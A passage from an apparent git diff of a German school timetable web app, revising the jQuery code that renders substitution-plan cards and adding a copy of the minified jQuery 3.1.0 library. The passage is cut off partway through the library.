+- $("#representations").append('<div class="card card-block" style="height: 10%; background-color: #FFA000; color: #fff">' + '<div class="row">' + '<div width="20%" class="mdl-cell col-xs-12 col-sm-6 col-md-3" style="position: relative; margin: 0;"><p style="font-size: 300%; margin: 0; position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%);">' + lesson + '</p></div>' + '<div width="80%" class="mdl-cell col-xs-12 col-sm-6 col-md-3"><h4">' + representation_type + '</h4></br><p>' + text + '</div>' + '</div>' + '</div>')
++ $("#representations").append('<div class="card card-block" style="height: 10%; background-color: #FFA000; color: #fff">' + '<div class="row">' + '<div class="col-md-4" style="position: relative; margin: 0;"><p style="font-size: 300%; margin: 0; position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%);">' + lesson + '</p></div>' + '<div class="col-md-8"><h4>' + representation_type + '</h4></br><h7>' + text + '</h7></div>' + '</div>' + '</div>')
+ }else{
+- $("#representations").append('<div class="card card-block" style="height: 10%; background-color: #FFA000; color: #fff">' + '<div class="row">' + '<div width="20%" class="mdl-cell col-xs-12 col-sm-6 col-md-3" style="position: relative; margin: 0;"><p style="font-size: 350%; margin: 0; position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%);">' + lesson + '</p></div>' + '<div width="80%" class="mdl-cell col-xs-12 col-sm-6 col-md-3"><h4>' + representation_type + '</h4></br><p>' + text + '</div>' + '</div>' + '</div>')
++ $("#representations").append('<div class="card card-block" style="height: 10%; background-color: #FFA000; color: #fff">' + '<div class="row">' + '<div class="col-md-4" style="position: relative; margin: 0;"><p style="font-size: 350%; margin: 0; position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%);">' + lesson + '</p></div>' + '<div class="col-md-8"><h4>' + representation_type + '</h4></br><h7>' + text + '</h7></div>' + '</div>' + '</div>')
+ }
+ }else{
+ if (representation_type == "Lehrertausch") {
+ if (lesson.match(reg)) {
+- $("#representations").append('<div class="card card-block" style="height: 10%; background-color: #9C27B0; color: #fff">' + '<div class="row">' + '<div width="20%" class="mdl-cell col-xs-12 col-sm-6 col-md-3" style="position: relative; margin: 0;"><p style="font-size: 300%; margin: 0; position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%);">' + lesson + '</p></div>' + '<div width="80%" class="mdl-cell col-xs-12 col-sm-6 col-md-3"><h4>' + representation_type + '</h4></br><p>' + text + '</div>' + '</div>' + '</div>')
++ $("#representations").append('<div class="card card-block" style="height: 10%; background-color: #9C27B0; color: #fff">' + '<div class="row">' + '<div class="col-md-4" style="position: relative; margin: 0;"><p style="font-size: 300%; margin: 0; position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%);">' + lesson + '</p></div>' + '<div class="col-md-8"><h4>' + representation_type + '</h4></br><h7>' + text + '</h7></div>' + '</div>' + '</div>')
+ }else{
+- $("#representations").append('<div class="card card-block" style="height: 10%; background-color: #9C27B0; color: #fff">' + '<div class="row">' + '<div width="20%" class="mdl-cell col-xs-12 col-sm-6 col-md-3" style="position: relative; margin: 0;"><p style="font-size: 350%; margin: 0; position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%);">' + lesson + '</p></div>' + '<div width="80%" class="mdl-cell col-xs-12 col-sm-6 col-md-3"><h4>' + representation_type + '</h4></br><p>' + text + '</div>' + '</div>' + '</div>')
++ $("#representations").append('<div class="card card-block" style="height: 10%; background-color: #9C27B0; color: #fff">' + '<div class="row">' + '<div class="col-md-4" style="position: relative; margin: 0;"><p style="font-size: 350%; margin: 0; position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%);">' + lesson + '</p></div>' + '<div class="col-md-8"><h4>' + representation_type + '</h4></br><h7>' + text + '</h7></div>' + '</div>' + '</div>')
+ }
+ }
+ }
+@@ -103,8 +103,10 @@ <h1 id="school"></h1>
+ }
+ }
+ }
++ }
++ }else{
++ $("#representations").append('<p class="bg-danger">Scheinbar gehtdein Internet nicht :/</p>')
+ }
+- }
+ })
+ </script>
+ <!-- Include all compiled plugins (below), or include individual files as needed -->
+diff --git a/app/js/jquery-3.1.0.min.js b/app/js/jquery-3.1.0.min.js
+new file mode 100644
+index 0000000..60f7969
+--- /dev/null
++++ b/app/js/jquery-3.1.0.min.js
+@@ -0,0 +1,4 @@
++/*! jQuery v3.1.0 | (c) jQuery Foundation | jquery.org/license */
++!function(a,b){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){"use strict";var c=[],d=a.document,e=Object.getPrototypeOf,f=c.slice,g=c.concat,h=c.push,i=c.indexOf,j={},k=j.toString,l=j.hasOwnProperty,m=l.toString,n=m.call(Object),o={};function p(a,b){b=b||d;var c=b.createElement("script");c.text=a,b.head.appendChild(c).parentNode.removeChild(c)}var q="3.1.0",r=function(a,b){return new r.fn.init(a,b)},s=/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g,t=/^-ms-/,u=/-([a-z])/g,v=function(a,b){return b.toUpperCase()};r.fn=r.prototype={jquery:q,constructor:r,length:0,toArray:function(){return f.call(this)},get:function(a){return null!=a?a<0?this[a+this.length]:this[a]:f.call(this)},pushStack:function(a){var b=r.merge(this.constructor(),a);return b.prevObject=this,b},each:function(a){return r.each(this,a)},map:function(a){return this.pushStack(r.map(this,function(b,c){return a.call(b,c,b)}))},slice:function(){return this.pushStack(f.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(a){var b=this.length,c=+a+(a<0?b:0);return this.pushStack(c>=0&&c<b?[this[c]]:[])},end:function(){return this.prevObject||this.constructor()},push:h,sort:c.sort,splice:c.splice},r.extend=r.fn.extend=function(){var a,b,c,d,e,f,g=arguments[0]||{},h=1,i=arguments.length,j=!1;for("boolean"==typeof g&&(j=g,g=arguments[h]||{},h++),"object"==typeof g||r.isFunction(g)||(g={}),h===i&&(g=this,h--);h<i;h++)if(null!=(a=arguments[h]))for(b in a)c=g[b],d=a[b],g!==d&&(j&&d&&(r.isPlainObject(d)||(e=r.isArray(d)))?(e?(e=!1,f=c&&r.isArray(c)?c:[]):f=c&&r.isPlainObject(c)?c:{},g[b]=r.extend(j,f,d)):void 0!==d&&(g[b]=d));return g},r.extend({expando:"jQuery"+(q+Math.random()).replace(/\D/g,""),isReady:!0,error:function(a){throw new Error(a)},noop:function(){},isFunction:function(a){return"function"===r.type(a)},isArray:Array.isArray,isWindow:function(a){return null!=a&&a===a.window},isNumeric:function(a){var b=r.type(a);return("number"===b||"string"===b)&&!isNaN(a-parseFloat(a))},isPlainObject:function(a){var b,c;return!(!a||"[object Object]"!==k.call(a))&&(!(b=e(a))||(c=l.call(b,"constructor")&&b.constructor,"function"==typeof c&&m.call(c)===n))},isEmptyObject:function(a){var b;for(b in a)return!1;return!0},type:function(a){return null==a?a+"":"object"==typeof a||"function"==typeof a?j[k.call(a)]||"object":typeof a},globalEval:function(a){p(a)},camelCase:function(a){return a.replace(t,"ms-").replace(u,v)},nodeName:function(a,b){return a.nodeName&&a.nodeName.toLowerCase()===b.toLowerCase()},each:function(a,b){var c,d=0;if(w(a)){for(c=a.length;d<c;d++)if(b.call(a[d],d,a[d])===!1)break}else for(d in a)if(b.call(a[d],d,a[d])===!1)break;return a},trim:function(a){return null==a?"":(a+"").replace(s,"")},makeArray:function(a,b){var c=b||[];return null!=a&&(w(Object(a))?r.merge(c,"string"==typeof a?[a]:a):h.call(c,a)),c},inArray:function(a,b,c){return null==b?-1:i.call(b,a,c)},merge:function(a,b){for(var c=+b.length,d=0,e=a.length;d<c;d++)a[e++]=b[d];return a.length=e,a},grep:function(a,b,c){for(var d,e=[],f=0,g=a.length,h=!c;f<g;f++)d=!b(a[f],f),d!==h&&e.push(a[f]);return e},map:function(a,b,c){var d,e,f=0,h=[];if(w(a))for(d=a.length;f<d;f++)e=b(a[f],f,c),null!=e&&h.push(e);else for(f in a)e=b(a[f],f,c),null!=e&&h.push(e);return g.apply([],h)},guid:1,proxy:function(a,b){var c,d,e;if("string"==typeof b&&(c=a[b],b=a,a=c),r.isFunction(a))return d=f.call(arguments,2),e=function(){return a.apply(b||this,d.concat(f.call(arguments)))},e.guid=a.guid=a.guid||r.guid++,e},now:Date.now,support:o}),"function"==typeof Symbol&&(r.fn[Symbol.iterator]=c[Symbol.iterator]),r.each("Boolean Number String Function Array Date RegExp Object Error Symbol".split(" "),function(a,b){j["[object "+b+"]"]=b.toLowerCase()});function w(a){var b=!!a&&"length"in a&&a.length,c=r.type(a);return"function"!==c&&!r.isWindow(a)&&("array"===c||0===b||"number"==typeof b&&b>0&&b-1 in a)}var x=function(a){var b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u="sizzle"+1*new Date,v=a.document,w=0,x=0,y=ha(),z=ha(),A=ha(),B=function(a,b){return a===b&&(l=!0),0},C={}.hasOwnProperty,D=[],E=D.pop,F=D.push,G=D.push,H=D.slice,I=function(a,b){for(var c=0,d=a.length;c<d;c++)if(a[c]===b)return c;return-1},J="checked|selected|async|autofocus|autoplay|controls|defer|disabled|hidden|ismap|loop|multiple|open|readonly|required|scoped",K="[\\x20\\t\\r\\n\\f]",L="(?:\\\\.|[\\w-]|[^\0-\\xa0])+",M="\\["+K+"*("+L+")(?:"+K+"*([*^$|!~]?=)"+K+"*(?:'((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\"|("+L+"))|)"+K+"*\\]",N=":("+L+")(?:\\((('((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\")|((?:\\\\.|[^\\\\()[\\]]|"+M+")*)|.*)\\)|)",O=new RegExp(K+"+","g"),P=new RegExp("^"+K+"+|((?:^|[^\\\\])(?:\\\\.)*)"+K+"+$","g"),Q=new RegExp("^"+K+"*,"+K+"*"),R=new RegExp("^"+K+"*([>+~]|"+K+")"+K+"*"),S=new RegExp("="+K+"*([^\\]'\"]*?)"+K+"*\\]","g"),T=new RegExp(N),U=new RegExp("^"+L+"$"),V={ID:new RegExp("^#("+L+")"),CLASS:new RegExp("^\\.("+L+")"),TAG:new RegExp("^("+L+"|[*])"),ATTR:new RegExp("^"+M),PSEUDO:new RegExp("^"+N),CHILD:new RegExp("^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\("+K+"*(even|odd|(([+-]|)(\\d*)n|)"+K+"*(?:([+-]|)"+K+"*(\\d+)|))"+K+"*\\)|)","i"),bool:new RegExp("^(?:"+J+")$","i"),needsContext:new RegExp("^"+K+"*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\("+K+"*((?:-\\d)?\\d*)"+K+"*\\)|)(?=[^-]|$)","i")},W=/^(?:input|select|textarea|button)$/i,X=/^h\d$/i,Y=/^[^{]+\{\s*\[native \w/,Z=/^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/,$=/[+~]/,_=new RegExp("\\\\([\\da-f]{1,6}"+K+"?|("+K+")|.)","ig"),aa=function(a,b,c){var d="0x"+b-65536;return d!==d||c?b:d<0?String.fromCharCode(d+65536):String.fromCharCode(d>>10|55296,1023&d|56320)},ba=/([\0-\x1f\x7f]|^-?\d)|^-$|[^\x80-\uFFFF\w-]/g,ca=function(a,b){return b?"\0"===a?"\ufffd":a.slice(0,-1)+"\\"+a.charCodeAt(a.length-1).toString(16)+" ":"\\"+a},da=function(){m()},ea=ta(function(a){return a.disabled===!0},{dir:"parentNode",next:"legend"});try{G.apply(D=H.call(v.childNodes),v.childNodes),D[v.childNodes.length].nodeType}catch(fa){G={apply:D.length?function(a,b){F.apply(a,H.call(b))}:function(a,b){var c=a.length,d=0;while(a[c++]=b[d++]);a.length=c-1}}}function ga(a,b,d,e){var f,h,j,k,l,o,r,s=b&&b.ownerDocument,w=b?b.nodeType:9;if(d=d||[],"string"!=typeof a||!a||1!==w&&9!==w&&11!==w)return d;if(!e&&((b?b.ownerDocument||b:v)!==n&&m(b),b=b||n,p)){if(11!==w&&(l=Z.exec(a)))if(f=l[1]){if(9===w){if(!(j=b.getElementById(f)))return d;if(j.id===f)return d.push(j),d}else if(s&&(j=s.getElementById(f))&&t(b,j)&&j.id===f)return d.push(j),d}else{if(l[2])return G.apply(d,b.getElementsByTagName(a)),d;if((f=l[3])&&c.getElementsByClassName&&b.getElementsByClassName)return G.apply(d,b.getElementsByClassName(f)),d}if(c.qsa&&!A[a+" "]&&(!q||!q.test(a))){if(1!==w)s=b,r=a;else if("object"!==b.nodeName.toLowerCase()){(k=b.getAttribute("id"))?k=k.replace(ba,ca):b.setAttribute("id",k=u),o=g(a),h=o.length;while(h--)o[h]="#"+k+" "+sa(o[h]);r=o.join(","),s=$.test(a)&&qa(b.parentNode)||b}if(r)try{return G.apply(d,s.querySelectorAll(r)),d}catch(x){}finally{k===u&&b.removeAttribute("id")}}}return i(a.replace(P,"$1"),b,d,e)}function ha(){var a=[];function b(c,e){return a.push(c+" ")>d.cacheLength&&delete b[a.shift()],b[c+" "]=e}return b}function ia(a){return a[u]=!0,a}function ja(a){var b=n.createElement("fieldset");try{return!!a(b)}catch(c){return!1}finally{b.parentNode&&b.parentNode.removeChild(b),b=null}}function ka(a,b){var c=a.split("|"),e=c.length;while(e--)d.attrHandle[c[e]]=b}function la(a,b){var c=b&&a,d=c&&1===a.nodeType&&1===b.nodeType&&a.sourceIndex-b.sourceIndex;if(d)return d;if(c)while(c=c.nextSibling)if(c===b)return-1;return a?1:-1}function ma(a){return function(b){var c=b.nodeName.toLowerCase();return"input"===c&&b.type===a}}function na(a){return function(b){var c=b.nodeName.toLowerCase();return("input"===c||"button"===c)&&b.type===a}}function oa(a){return function(b){return"label"in b&&b.disabled===a||"form"in b&&b.disabled===a||"form"in b&&b.disabled===!1&&(b.isDisabled===a||b.isDisabled!==!a&&("label"in b||!ea(b))!==a)}}function pa(a){return ia(function(b){return b=+b,ia(function(c,d){var e,f=a([],c.length,b),g=f.length;while(g--)c[e=f[g]]&&(c[e]=!(d[e]=c[e]))})})}function qa(a){return a&&"undefined"!=typeof a.getElementsByTagName&&a}c=ga.support={},f=ga.isXML=function(a){var b=a&&(a.ownerDocument||a).documentElement;return!!b&&"HTML"!==b.nodeName},m=ga.setDocument=function(a){var b,e,g=a?a.ownerDocument||a:v;return g!==n&&9===g.nodeType&&g.documentElement?(n=g,o=n.documentElement,p=!f(n),v!==n&&(e=n.defaultView)&&e.top!==e&&(e.addEventListener?e.addEventListener("unload",da,!1):e.attachEvent&&e.attachEvent("onunload",da)),c.attributes=ja(function(a){return a.className="i",!a.getAttribute("className")}),c.getElementsByTagName=ja(function(a){return a.appendChild(n.createComment("")),!a.getElementsByTagName("*").length}),c.getElementsByClassName=Y.test(n.getElementsByClassName),c.getById=ja(function(a){return o.appendChild(a).id=u,!n.getElementsByName||!n.getElementsByName(u).length}),c.getById?(d.find.ID=function(a,b){if("undefined"!=typeof b.getElementById&&p){var c=b.getElementById(a);return c?[c]:[]}},d.filter.ID=function(a){var b=a.replace(_,aa);return function(a){return a.getAttribute("id")===b}}):(delete d.find.ID,d.filter.ID=function(a){var b=a.replace(_,aa);return function(a){var c="undefined"!=typeof a.getAttributeNode&&a.getAttributeNode("id");return c&&c.value===b}}),d.find.TAG=c.getElementsByTagName?function(a,b){return"undefined"!=typeof b.getElementsByTagName?b.getElementsByTagName(a):c.qsa?b.querySelectorAll(a):void 0}:function(a,b){var c,d=[],e=0,f=b.getElementsByTagName(a);if("*"===a){while(c=f[e++])1===c.nodeType&&d.push(c);return d}return f},d.find.CLASS=c.getElementsByClassName&&function(a,b){if("undefined"!=typeof b.getElementsByClassName&&p)return b.getElementsByClassName(a)},r=[],q=[],(c.qsa=Y.test(n.querySelectorAll))&&(ja(function(a){o.appendChild(a).innerHTML="<a id='"+u+"'></a><select id='"+u+"-\r\\' msallowcapture=''><option selected=''></option></select>",a.querySelectorAll("[msallowcapture^='']").length&&q.push("[*^$]="+K+"*(?:''|\"\")"),a.querySelectorAll("[selected]").length||q.push("\\["+K+"*(?:value|"+J+")"),a.querySelectorAll("[id~="+u+"-]").length||q.push("~="),a.querySelectorAll(":checked").length||q.push(":checked"),a.querySelectorAll("a#"+u+"+*").length||q.push(".#.+[+~]")}),ja(function(a){a.innerHTML="<a href='' disabled='disabled'></a><select disabled='disabled'><option/></select>";var b=n.createElement("input");b.setAttribute("type","hidden"),a.appendChild(b).setAttribute("name","D"),a.querySelectorAll("[name=d]").length&&q.push("name"+K+"*[*^$|!~]?="),2!==a.querySelectorAll(":enabled").length&&q.push(":enabled",":disabled"),o.appendChild(a).disabled=!0,2!==a.querySelectorAll(":disabled").length&&q.push(":enabled",":disabled"),a.querySelectorAll("*,:x"),q.push(",.*:")})),(c.matchesSelector=Y.test(s=o.matches||o.webkitMatchesSelector||o.mozMatchesSelector||o.oMatchesSelector||o.msMatchesSelector))&&ja(function(a){c.disconnectedMatch=s.call(a,"*"),s.call(a,"[s!='']:x"),r.push("!=",N)}),q=q.length&&new RegExp(q.join("|")),r=r.length&&new RegExp(r.join("|")),b=Y.test(o.compareDocumentPosition),t=b||Y.test(o.contains)?function(a,b){var c=9===a.nodeType?a.documentElement:a,d=b&&b.parentNode;return a===d||!(!d||1!==d.nodeType||!(c.contains?c.contains(d):a.compareDocumentPosition&&16&a.compareDocumentPosition(d)))}:function(a,b){if(b)while(b=b.parentNode)if(b===a)return!0;return!1},B=b?function(a,b){if(a===b)return l=!0,0;var d=!a.compareDocumentPosition-!b.compareDocumentPosition;return d?d:(d=(a.ownerDocument||a)===(b.ownerDocument||b)?a.compareDocumentPosition(b):1,1&d||!c.sortDetached&&b.compareDocumentPosition(a)===d?a===n||a.ownerDocument===v&&t(v,a)?-1:b===n||b.ownerDocument===v&&t(v,b)?1:k?I(k,a)-I(k,b):0:4&d?-1:1)}:function(a,b){if(a===b)return l=!0,0;var c,d=0,e=a.parentNode,f=b.parentNode,g=[a],h=[b];if(!e||!f)return a===n?-1:b===n?1:e?-1:f?1:k?I(k,a)-I(k,b):0;if(e===f)return la(a,b);c=a;while(c=c.parentNode)g.unshift(c);c=b;while(c=c.parentNode)h.unshift(c);while(g[d]===h[d])d++;return d?la(g[d],h[d]):g[d]===v?-1:h[d]===v?1:0},n):n},ga.matches=function(a,b){return ga(a,null,null,b)},ga.matchesSelector=function(a,b){if((a.ownerDocument||a)!==n&&m(a),b=b.replace(S,"='$1']"),c.matchesSelector&&p&&!A[b+" "]&&(!r||!r.test(b))&&(!q||!q.test(b)))try{var d=s.call(a,b);if(d||c.disconnectedMatch||a.document&&11!==a.document.nodeType)return d}catch(e){}return ga(b,n,null,[a]).length>0},ga.contains=function(a,b){return(a.ownerDocument||a)!==n&&m(a),t(a,b)},ga.attr=function(a,b){(a.ownerDocument||a)!==n&&m(a);var e=d.attrHandle[b.toLowerCase()],f=e&&C.call(d.attrHandle,b.toLowerCase())?e(a,b,!p):void 0;return void 0!==f?f:c.attributes||!p?a.getAttribute(b):(f=a.getAttributeNode(b))&&f.specified?f.value:null},ga.escape=function(a){return(a+"").replace(ba,ca)},ga.error=function(a){throw new Error("Syntax error, unrecognized expression: "+a)},ga.uniqueSort=function(a){var b,d=[],e=0,f=0;if(l=!c.detectDuplicates,k=!c.sortStable&&a.slice(0),a.sort(B),l){while(b=a[f++])b===a[f]&&(e=d.push(f));while(e--)a.splice(d[e],1)}return k=null,a},e=ga.getText=function(a){var b,c="",d=0,f=a.nodeType;if(f){if(1===f||9===f||11===f){if("string"==typeof a.textContent)return a.textContent;for(a=a.firstChild;a;a=a.nextSibling)c+=e(a)}else if(3===f||4===f)return a.nodeValue}else while(b=a[d++])c+=e(b);return c},d=ga.selectors={cacheLength:50,createPseudo:ia,match:V,attrHandle:{},find:{},relative:{">":{dir:"parentNode",first:!0}," ":{dir:"parentNode"},"+":{dir:"previousSibling",first:!0},"~":{dir:"previousSibling"}},preFilter:{ATTR:function(a){return a[1]=a[1].replace(_,aa),a[3]=(a[3]||a[4]||a[5]||"").replace(_,aa),"~="===a[2]&&(a[3]=" "+a[3]+" "),a.slice(0,4)},CHILD:function(a){return a[1]=a[1].toLowerCase(),"nth"===a[1].slice(0,3)?(a[3]||ga.error(a[0]),a[4]=+(a[4]?a[5]+(a[6]||1):2*("even"===a[3]||"odd"===a[3])),a[5]=+(a[7]+a[8]||"odd"===a[3])):a[3]&&ga.error(a[0]),a},PSEUDO:function(a){var b,c=!a[6]&&a[2];return V.CHILD.test(a[0])?null:(a[3]?a[2]=a[4]||a[5]||"":c&&T.test(c)&&(b=g(c,!0))&&(b=c.indexOf(")",c.length-b)-c.length)&&(a[0]=a[0].slice(0,b),a[2]=c.slice(0,b)),a.slice(0,3))}},filter:{TAG:function(a){var b=a.replace(_,aa).toLowerCase();return"*"===a?function(){return!0}:function(a){return a.nodeName&&a.nodeName.toLowerCase()===b}},CLASS:function(a){var b=y[a+" "];return b||(b=new RegExp("(^|"+K+")"+a+"("+K+"|$)"))&&y(a,function(a){return b.test("string"==typeof a.className&&a.className||"undefined"!=typeof a.getAttribute&&a.getAttribute("class")||"")})},ATTR:function(a,b,c){return function(d){var e=ga.attr(d,a);return null==e?"!="===b:!b||(e+="","="===b?e===c:"!="===b?e!==c:"^="===b?c&&0===e.indexOf(c):"*="===b?c&&e.indexOf(c)>-1:"$="===b?c&&e.slice(-c.length)===c:"~="===b?(" "+e.replace(O," ")+" ").indexOf(c)>-1:"|="===b&&(e===c||e.slice(0,c.length+1)===c+"-"))}},CHILD:function(a,b,c,d,e){var f="nth"!==a.slice(0,3),g="last"!==a.slice(-4),h="of-type"===b;return 1===d&&0===e?function(a){return!!a.parentNode}:function(b,c,i){var j,k,l,m,n,o,p=f!==g?"nextSibling":"previousSibling",q=b.parentNode,r=h&&b.nodeName.toLowerCase(),s=!i&&!h,t=!1;if(q){if(f){while(p){m=b;while(m=m[p])if(h?m.nodeName.toLowerCase()===r:1===m.nodeType)return!1;o=p="only"===a&&!o&&"nextSibling"}return!0}if(o=[g?q.firstChild:q.lastChild],g&&s){m=q,l=m[u]||(m[u]={}),k=l[m.uniqueID]||(l[m.uniqueID]={}),j=k[a]||[],n=j[0]===w&&j[1],t=n&&j[2],m=n&&q.childNodes[n];while(m=++n&&m&&m[p]||(t=n=0)||o.pop())if(1===m.nodeType&&++t&&m===b){k[a]=[w,n,t];break}}else if(s&&(m=b,l=m[u]||(m[u]={}),k=l[m.uniqueID]||(l[m.uniqueID]={}),j=k[a]||[],n=j[0]===w&&j[1],t=n),t===!1)while(m=++n&&m&&m[p]||(t=n=0)||o.pop())if((h?m.nodeName.toLowerCase()===r:1===m.nodeType)&&++t&&(s&&(l=m[u]||(m[u]={}),k=l[m.uniqueID]||(l[m.uniqueID]={}),k[a]=[w,t]),m===b))break;return t-=e,t===d||t%d===0&&t/d>=0}}},PSEUDO:function(a,b){var c,e=d.pseudos[a]||d.setFilters[a.toLowerCase()]||ga.error("unsupported pseudo: "+a);return e[u]?e(b):e.length>1?(c=[a,a,"",b],d.setFilters.hasOwnProperty(a.toLowerCase())?ia(function(a,c){var d,f=e(a,b),g=f.length;while(g--)d=I(a,f[g]),a[d]=!(c[d]=f[g])}):function(a){return e(a,0,c)}):e}},pseudos:{not:ia(function(a){var b=[],c=[],d=h(a.replace(P,"$1"));return d[u]?ia(function(a,b,c,e){var f,g=d(a,null,e,[]),h=a.length;while(h--)(f=g[h])&&(a[h]=!(b[h]=f))}):function(a,e,f){return b[0]=a,d(b,null,f,c),b[0]=null,!c.pop()}}),has:ia(function(a){return function(b){return ga(a,b).length>0}}),contains:ia(function(a){return a=a.replace(_,aa),function(b){return(b.textContent||b.innerText||e(b)).indexOf(a)>-1}}),lang:ia(function(a){return U.test(a||"")||ga.error("unsupported lang: "+a),a=a.replace(_,aa).toLowerCase(),function(b){var c;do if(c=p?b.lang:b.getAttribute("xml:lang")||b.getAttribute("lang"))return c=c.toLowerCase(),c===a||0===c.indexOf(a+"-");while((b=b.parentNode)&&1===b.nodeType);return!1}}),target:function(b){var c=a.location&&a.location.hash;return c&&c.slice(1)===b.id},root:function(a){return a===o},focus:function(a){return a===n.activeElement&&(!n.hasFocus||n.hasFocus())&&!!(a.type||a.href||~a.tabIndex)},enabled:oa(!1),disabled:oa(!0),checked:function(a){var b=a.nodeName.toLowerCase();return"input"===b&&!!a.checked||"option"===b&&!!a.selected},selected:function(a){return a.parentNode&&a.parentNode.selectedIndex,a.selected===!0},empty:function(a){for(a=a.firstChild;a;a=a.nextSibling)if(a.nodeType<6)return!1;return!0},parent:function(a){return!d.pseudos.empty(a)},header:function(a){return X.test(a.nodeName)},input:function(a){return W.test(a.nodeName)},button:function(a){var b=a.nodeName.toLowerCase();return"input"===b&&"button"===a.type||"button"===b},text:function(a){var b;return"input"===a.nodeName.toLowerCase()&&"text"===a.type&&(null==(b=a.getAttribute("type"))||"text"===b.toLowerCase())},first:pa(function(){return[0]}),last:pa(function(a,b){return[b-1]}),eq:pa(function(a,b,c){return[c<0?c+b:c]}),even:pa(function(a,b){for(var c=0;c<b;c+=2)a.push(c);return a}),odd:pa(function(a,b){for(var c=1;c<b;c+=2)a.push(c);return a}),lt:pa(function(a,b,c){for(var d=c<0?c+b:c;--d>=0;)a.push(d);return a}),gt:pa(function(a,b,c){for(var d=c<0?c+b:c;++d<b;)a.push(d);return a})}},d.pseudos.nth=d.pseudos.eq;for(b in{radio:!0,checkbox:!0,file:!0,password:!0,image:!0})d.pseudos[b]=ma(b);for(b in{submit:!0,reset:!0})d.pseudos[b]=na(b);function ra(){}ra.prototype=d.filters=d.pseudos,d.setFilters=new ra,g=ga.tokenize=function(a,b){var c,e,f,g,h,i,j,k=z[a+" "];if(k)return b?0:k.slice(0);h=a,i=[],j=d.preFilter;while(h){c&&!(e=Q.exec(h))||(e&&(h=h.slice(e[0].length)||h),i.push(f=[])),c=!1,(e=R.exec(h))&&(c=e.shift(),f.push({value:c,type:e[0].replace(P," ")}),h=h.slice(c.length));for(g in d.filter)!(e=V[g].exec(h))||j[g]&&!(e=j[g](e))||(c=e.shift(),f.push({value:c,type:g,matches:e}),h=h.slice(c.length));if(!c)break}return b?h.length:h?ga.error(a):z(a,i).slice(0)};function sa(a){for(var b=0,c=a.length,d="";b<c;b++)d+=a[b].value;return d}function ta(a,b,c){var d=b.dir,e=b.next,f=e||d,g=c&&"parentNode"===f,h=x++;return b.first?function(b,c,e){while(b=b[d])if(1===b.nodeType||g)return a(b,c,e)}:function(b,c,i){var j,k,l,m=[w,h];if(i){while(b=b[d])if((1===b.nodeType||g)&&a(b,c,i))return!0}else while(b=b[d])if(1===b.nodeType||g)if(l=b[u]||(b[u]={}),k=l[b.uniqueID]||(l[b.uniqueID]={}),e&&e===b.nodeName.toLowerCase())b=b[d]||b;else{if((j=k[f])&&j[0]===w&&j[1]===h)return m[2]=j[2];if(k[f]=m,m[2]=a(b,c,i))return!0}}}function ua(a){return a.length>1?function(b,c,d){var e=a.length;while(e--)if(!a[e](b,c,d))return!1;return!0}:a[0]}function va(a,b,c){for(var d=0,e=b.length;d<e;d++)ga(a,b[d],c);return c}function wa(a,b,c,d,e){for(var f,g=[],h=0,i=a.length,j=null!=b;h<i;h++)(f=a[h])&&(c&&!c(f,d,e)||(g.push(f),j&&b.push(h)));return g}function xa(a,b,c,d,e,f){return d&&!d[u]&&(d=xa(d)),e&&!e[u]&&(e=xa(e,f)),ia(function(f,g,h,i){var j,k,l,m=[],n=[],o=g.length,p=f||va(b||"*",h.nodeType?[h]:h,[]),q=!a||!f&&b?p:wa(p,m,a,h,i),r=c?e||(f?a:o||d)?[]:g:q;if(c&&c(q,r,h,i),d){j=wa(r,n),d(j,[],h,i),k=j.length;while(k--)(l=j[k])&&(r[n[k]]=!(q[n[k]]=l))}if(f){if(e||a){if(e){j=[],k=r.length;while(k--)(l=r[k])&&j.push(q[k]=l);e(null,r=[],j,i)}k=r.length;while(k--)(l=r[k])&&(j=e?I(f,l):m[k])>-1&&(f[j]=!(g[j]=l))}}else r=wa(r===g?r.splice(o,r.length):r),e?e(null,g,r,i):G.apply(g,r)})}function ya(a){for(var b,c,e,f=a.length,g=d.relative[a[0].type],h=g||d.relative[" "],i=g?1:0,k=ta(function(a){return a===b},h,!0),l=ta(function(a){return I(b,a)>-1},h,!0),m=[function(a,c,d){var e=!g&&(d||c!==j)||((b=c).nodeType?k(a,c,d):l(a,c,d));return b=null,e}];i<f;i++)if(c=d.relative[a[i].type])m=[ta(ua(m),c)];else{if(c=d.filter[a[i].type].apply(null,a[i].matches),c[u]){for(e=++i;e<f;e++)if(d.relative[a[e].type])break;return xa(i>1&&ua(m),i>1&&sa(a.slice(0,i-1).concat({value:" "===a[i-2].type?"*":""})).replace(P,"$1"),c,i<e&&ya(a.slice(i,e)),e<f&&ya(a=a.slice(e)),e<f&&sa(a))}m.push(c)}return ua(m)}function za(a,b){var c=b.length>0,e=a.length>0,f=function(f,g,h,i,k){var l,o,q,r=0,s="0",t=f&&[],u=[],v=j,x=f||e&&d.find.TAG("*",k),y=w+=null==v?1:Math.random()||.1,z=x.length;for(k&&(j=g===n||g||k);s!==z&&null!=(l=x[s]);s++){if(e&&l){o=0,g||l.ownerDocument===n||(m(l),h=!p);while(q=a[o++])if(q(l,g||n,h)){i.push(l);break}k&&(w=y)}c&&((l=!q&&l)&&r--,f&&t.push(l))}if(r+=s,c&&s!==r){o=0;while(q=b[o++])q(t,u,g,h);if(f){if(r>0)while(s--)t[s]||u[s]||(u[s]=E.call(i));u=wa(u)}G.apply(i,u),k&&!f&&u.length>0&&r+b.length>1&&ga.uniqueSort(i)}return k&&(w=y,j=v),t};return c?ia(f):f}return h=ga.compile=function(a,b){var c,d=[],e=[],f=A[a+" 